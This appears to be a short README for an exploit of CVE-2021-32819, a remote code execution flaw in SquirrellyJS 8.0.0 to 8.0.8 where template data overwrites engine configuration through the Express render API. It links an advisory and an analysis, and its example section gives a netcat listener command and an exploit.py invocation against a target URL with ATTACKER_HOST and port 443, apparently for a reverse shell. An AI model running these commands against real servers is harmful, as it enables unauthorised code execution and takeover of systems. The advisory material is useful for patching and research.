CVE-2021-32819

CVE-2021-32819 : SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications.

Source

https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/

Analysis

https://blog.diefunction.io/vulnerabilities/ghsl-2021-023

squirrelly

v8.0.0 >= v8.0.8 Remote Code Execution

Environment

Ubuntu 20.04.1

Example

nc -lvp 443

python3 exploit.py http://example.com/  ATTACKER_HOST 443